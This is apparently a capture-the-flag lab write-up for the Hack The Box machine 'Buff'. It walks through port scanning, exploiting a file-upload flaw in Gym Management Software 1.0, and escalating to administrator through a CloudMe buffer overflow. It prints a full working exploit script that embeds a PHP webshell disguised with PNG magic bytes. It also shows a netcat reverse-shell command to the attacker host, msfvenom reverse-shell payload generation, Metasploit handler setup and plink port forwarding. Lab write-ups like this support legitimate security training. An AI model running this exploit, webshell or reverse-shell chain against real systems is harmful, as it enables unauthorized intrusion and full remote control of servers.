Buff
Nmap Scan
Nmap scan report for 10.10.10.198
Host is up, received user-set (0.035s latency).
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT STATE SERVICE REASON VERSION
7680/tcp open pando-pub? syn-ack ttl 127
8080/tcp open http syn-ack ttl 127 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apach/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut
Webserver Enumeration
A quick look through the webserver gives us the framework that this server is running on:
http://10.10.10.198:8080/contact.php
Made using Gym Management Software 1.0
Exploiting GMS 1.0
A Google search for “Gym Management Software 1.0 exploit” returns a PacketStormSecurity link:
https://packetstormsecurity.com/files/157800/Gym-Management-System-1.0-Remote-Code-Execution.html
We can use the PoC listed here, while swapping their shell payload out to get a more useable shell:
exploit.py:
import requests, sys, urllib, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def webshell(SERVER_URL, session):
try:
WEB_SHELL = SERVER_URL+'upload/kamehameha.php'
getdir = {'telepathy': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False)
status = r2.status_code
if status != 200:
print Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL
r2.raise_for_status()
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', r2.text)
cwd = cwd[0]+"> "
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
while True:
thought = raw_input(term)
command = {'telepathy': thought}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
status = r2.status_code
if status != 200:
r2.raise_for_status()
response2 = r2.text
print(response2)
except:
print("\r\nExiting.")
sys.exit(-1)
def formatHelp(STRING):
return Style.BRIGHT+Fore.RED+STRING+Fore.RESET
def header():
BL = Style.BRIGHT+Fore.GREEN
RS = Style.RESET_ALL
FR = Fore.RESET
SIG = BL+' /\\\n'+RS
SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n'
SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n'
SIG += BL+' \/'+RS+'\n'
return SIG
if __name__ == "__main__":
print header();
if len(sys.argv) != 2:
print formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0])
print formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/gym/'" % sys.argv[0])
sys.exit(-1)
SERVER_URL = sys.argv[1]
UPLOAD_DIR = 'upload.php?id=kamehameha'
UPLOAD_URL = SERVER_URL + UPLOAD_DIR
s = requests.Session()
s.get(SERVER_URL, verify=False)
PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
png = {
'file':
(
'kaio-ken.php.png',
PNG_magicBytes+'\n'+"""#<?php
/*******************************************************************************
* Copyright 2017 WhiteWinterWolf
* https://www.whitewinterwolf.com/tags/php-webshell/
*
* This file is part of wwolf-php-webshell.
*
* wwwolf-php-webshell is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
******************************************************************************/
/*
* Optional password settings.
* Use the 'passhash.sh' script to generate the hash.
* NOTE: the prompt value is tied to the hash!
*/
$passprompt = "WhiteWinterWolf's PHP webshell: ";
$passhash = "";
function e($s) { echo htmlspecialchars($s, ENT_QUOTES); }
function h($s)
{
global $passprompt;
if (function_exists('hash_hmac'))
{
return hash_hmac('sha256', $s, $passprompt);
}
else
{
return bin2hex(mhash(MHASH_SHA256, $s, $passprompt));
}
}
function fetch_fopen($host, $port, $src, $dst)
{
global $err, $ok;
$ret = '';
if (strpos($host, '://') === false)
{
$host = 'http://' . $host;
}
else
{
$host = str_replace(array('ssl://', 'tls://'), 'https://', $host);
}
$rh = fopen("${host}:${port}${src}", 'rb');
if ($rh !== false)
{
$wh = fopen($dst, 'wb');
if ($wh !== false)
{
$cbytes = 0;
while (! feof($rh))
{
$cbytes += fwrite($wh, fread($rh, 1024));
}
fclose($wh);
$ret .= "${ok} Fetched file <i>${dst}</i> (${cbytes} bytes)<br />";
}
else
{
$ret .= "${err} Failed to open file <i>${dst}</i><br />";
}
fclose($rh);
}
else
{
$ret = "${err} Failed to open URL <i>${host}:${port}${src}</i><br />";
}
return $ret;
}
function fetch_sock($host, $port, $src, $dst)
{
global $err, $ok;
$ret = '';
$host = str_replace('https://', 'tls://', $host);
$s = fsockopen($host, $port);
if ($s)
{
$f = fopen($dst, 'wb');
if ($f)
{
$buf = '';
$r = array($s);
$w = NULL;
$e = NULL;
fwrite($s, "GET ${src} HTTP/1.0\r\n\r\n");
while (stream_select($r, $w, $e, 5) && !feof($s))
{
$buf .= fread($s, 1024);
}
$buf = substr($buf, strpos($buf, "\r\n\r\n") + 4);
fwrite($f, $buf);
fclose($f);
$ret .= "${ok} Fetched file <i>${dst}</i> (" . strlen($buf) . " bytes)<br />";
}
else
{
$ret .= "${err} Failed to open file <i>${dst}</i><br />";
}
fclose($s);
}
else
{
$ret .= "${err} Failed to connect to <i>${host}:${port}</i><br />";
}
return $ret;
}
ini_set('log_errors', '0');
ini_set('display_errors', '1');
error_reporting(E_ALL);
while (@ ob_end_clean());
if (! isset($_SERVER))
{
global $HTTP_POST_FILES, $HTTP_POST_VARS, $HTTP_SERVER_VARS;
$_FILES = &$HTTP_POST_FILES;
$_POST = &$HTTP_POST_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
}
$auth = '';
$cmd = empty($_POST['cmd']) ? '' : $_POST['cmd'];
$cwd = empty($_POST['cwd']) ? getcwd() : $_POST['cwd'];
$fetch_func = 'fetch_fopen';
$fetch_host = empty($_POST['fetch_host']) ? $_SERVER['REMOTE_ADDR'] : $_POST['fetch_host'];
$fetch_path = empty($_POST['fetch_path']) ? '' : $_POST['fetch_path'];
$fetch_port = empty($_POST['fetch_port']) ? '80' : $_POST['fetch_port'];
$pass = empty($_POST['pass']) ? '' : $_POST['pass'];
$url = $_SERVER['REQUEST_URI'];
$status = '';
$ok = '☺ :';
$warn = '⚠ :';
$err = '☹ :';
if (! empty($passhash))
{
if (function_exists('hash_hmac') || function_exists('mhash'))
{
$auth = empty($_POST['auth']) ? h($pass) : $_POST['auth'];
if (h($auth) !== $passhash)
{
?>
<form method="post" action="<?php e($url); ?>">
<?php e($passprompt); ?>
<input type="password" size="15" name="pass">
<input type="submit" value="Send">
</form>
<?php
exit;
}
}
else
{
$status .= "${warn} Authentication disabled ('mhash()' missing).<br />";
}
}
if (! ini_get('allow_url_fopen'))
{
ini_set('allow_url_fopen', '1');
if (! ini_get('allow_url_fopen'))
{
if (function_exists('stream_select'))
{
$fetch_func = 'fetch_sock';
}
else
{
$fetch_func = '';
$status .= "${warn} File fetching disabled ('allow_url_fopen'"
. " disabled and 'stream_select()' missing).<br />";
}
}
}
if (! ini_get('file_uploads'))
{
ini_set('file_uploads', '1');
if (! ini_get('file_uploads'))
{
$status .= "${warn} File uploads disabled.<br />";
}
}
if (ini_get('open_basedir') && ! ini_set('open_basedir', ''))
{
$status .= "${warn} open_basedir = " . ini_get('open_basedir') . "<br />";
}
if (! chdir($cwd))
{
$cwd = getcwd();
}
if (! empty($fetch_func) && ! empty($fetch_path))
{
$dst = $cwd . DIRECTORY_SEPARATOR . basename($fetch_path);
$status .= $fetch_func($fetch_host, $fetch_port, $fetch_path, $dst);
}
if (ini_get('file_uploads') && ! empty($_FILES['upload']))
{
$dest = $cwd . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']);
if (move_uploaded_file($_FILES['upload']['tmp_name'], $dest))
{
$status .= "${ok} Uploaded file <i>${dest}</i> (" . $_FILES['upload']['size'] . " bytes)<br />";
}
}
?>
<form method="post" action="<?php e($url); ?>"
<?php if (ini_get('file_uploads')): ?>
enctype="multipart/form-data"
<?php endif; ?>
>
<?php if (! empty($passhash)): ?>
<input type="hidden" name="auth" value="<?php e($auth); ?>">
<?php endif; ?>
<table border="0">
<?php if (! empty($fetch_func)): ?>
<tr><td>
<b>Fetch:</b>
</td><td>
host: <input type="text" size="15" id="fetch_host" name="fetch_host" value="<?php e($fetch_host); ?>">
port: <input type="text" size="4" id="fetch_port" name="fetch_port" value="<?php e($fetch_port); ?>">
path: <input type="text" size="40" id="fetch_path" name="fetch_path" value="">
</td></tr>
<?php endif; ?>
<tr><td>
<b>CWD:</b>
</td><td>
<input type="text" size="50" id="cwd" name="cwd" value="<?php e($cwd); ?>">
<?php if (ini_get('file_uploads')): ?>
<b>Upload:</b> <input type="file" id="upload" name="upload">
<?php endif; ?>
</td></tr>
<tr><td>
<b>Cmd:</b>
</td><td>
<input type="text" size="80" id="cmd" name="cmd" value="<?php e($cmd); ?>">
</td></tr>
<tr><td>
</td><td>
<sup><a href="#" onclick="cmd.value=''; cmd.focus(); return false;">Clear cmd</a></sup>
</td></tr>
<tr><td colspan="2" style="text-align: center;">
<input type="submit" value="Execute" style="text-align: right;">
</td></tr>
</table>
</form>
<hr />
<?php
if (! empty($status))
{
echo "<p>${status}</p>";
}
echo "<pre>";
if (! empty($cmd))
{
echo "<b>";
e($cmd);
echo "</b>\n";
if (DIRECTORY_SEPARATOR == '/')
{
$p = popen('exec 2>&1; ' . $cmd, 'r');
}
else
{
$p = popen('cmd /C "' . $cmd . '" 2>&1', 'r');
}
while (! feof($p))
{
echo htmlspecialchars(fread($p, 4096), ENT_QUOTES);
@ flush();
}
}
echo "</pre>";
exit;
?>
""",
'image/png',
{'Content-Disposition': 'form-data'}
)
}
fdata = {'pupload': 'upload'}
r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
webshell(SERVER_URL, s)
Running this creates the shell on the webserver:
$ python exploit.py http://10.10.10.198:8080/
/\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
\/
[+] Successfully connected to webshell.
CD%25"> whoami
Exiting.
kali:~/HTB/Buff$ python exploit.py http://10.10.10.198:8080/
/\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
\/
[+] Successfully connected to webshell.
However, since we swapped out the shell, we’ll need to manually visit the shell at:
http://10.10.10.198:8080/upload/kamehameha.php
Visiting our shell gives us a nice webshell with upload capabilities that we can use to return a shell to ourselves:
We’ll first upload nc.exe to the webserver, so that we can call it and return a shell to ourselves. Once we’ve successfully uploaded nc.exe, we can send a shell back to our attacking machine:
./nc.exe -nv 10.10.xx.xx 4444 -e cmd.exe
...
C:\xampp\htdocs\gym\upload>whoami
whoami
BUFF\shaun
Internal Enumeration:
Running tasklist from our new shell returns a list of the running processes, and one in particular stands out:
...
cmd.exe 7544 0 3,856 K
CloudMe.exe 2948 0 37,580 K
timeout.exe 4728 0 3,992 K
tasklist.exe 7248 0 7,768 K
A quick search for “CloudMe.exe” exploits turns up a buffer overflow vulnerability:
https://www.exploit-db.com/exploits/44470
Privilege Escalation
We first need to create shellcode to put in the exploit:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.xx.xx LPORT=4444 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of c file: 1386 bytes
...
Now, we can swap this out in the exploit. Because python isn’t installed on the victim machine, we have two options: Port forwarding or using Pyinstaller to create an executable file to run on the victim:
Pyinstaller method:
$ wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile exploit.py
199 INFO: PyInstaller: 3.6
203 INFO: Python: 2.7.9
214 INFO: Platform: Windows-7-6.1.7601-SP1
...
6039 INFO: Building EXE from EXE-00.toc completed successfully.
Now, we can open a metasploit handler and use our webshell to upload the executable and execute it:
Attacker:
msf5 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > run
If we run the exploit on the victim machine, we’ll receive our shell back:
...
Victim:
C:\xampp\htdocs\gym\upload>exploit.exe
exploit.exe
...
Attacker:
[*] Started reverse TCP handler on 10.10.xx.xx:4444
[*] Command shell session 1 opened (10.10.xx.xx:4444 -> 10.10.10.198:64944) at 2020-07-20 14:16:36 -0500
C:\Windows\system32>whoami
whoami
buff\administrator
Port forwarding method:
To forward port 8888 to ourselves, we’ll need to upload plink.exe to the server:
C:\xampp\htdocs\gym\upload>plink -R 8888:localhost:8888 user@10.10.xx.xx
plink -R 8888:localhost:8888 user@10.10.xx.xx
The server's host key is not cached in the registry. You
have no guarantee that the server is the computer you
think it is.
...
We can make sure that the port has been forwarded by running netstat on our attacking machine:
$ netstat -antup
...
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN -
...
Now, we can set up a Metasploit listener and run the exploit locally:
msf5 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > run
If we run the exploit, we’ll receive a shell back:
$ python exploit.py
...
[*] Command shell session 2 opened (10.10.xx.xx:4444 -> 10.10.10.198:65073) at 2020-07-20 14:44:08 -0500
C:\Windows\system32>whoami
whoami
buff\administrator
Voila, admin access!